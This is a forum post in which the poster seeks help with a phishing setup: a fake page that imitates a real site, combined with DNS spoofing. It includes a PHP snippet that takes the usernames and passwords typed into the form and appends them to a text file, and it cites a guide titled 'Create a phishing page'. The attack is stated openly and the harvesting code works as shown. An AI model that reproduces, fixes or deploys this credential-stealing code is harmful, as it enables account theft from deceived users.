Jump to content

Dns Spoof / Php


Recommended Posts

My HTML webpage seems to work fine -- it looks like the real page that I'm emulating and the forms work -- but when the submit button is clicked instead of sending the data to PHP that saves it as a file and redirects the client (or, ideally, closes the window) my PHP just displays all the code in the browser. Can you help me figure out why? Here's the general format that I'm using:

if ($_POST['submit']){

$myFile = "donatedpw.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = "username: " . $_POST['username'] . "\n";
fwrite($fh, $stringData);
$stringData = "password: " . $_POST['password'] . "\n";
fwrite($fh, $stringData);

} ?>


source: http://thisislegal.com/wiki/Create_a_phishing_page

Edited by whitehat
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...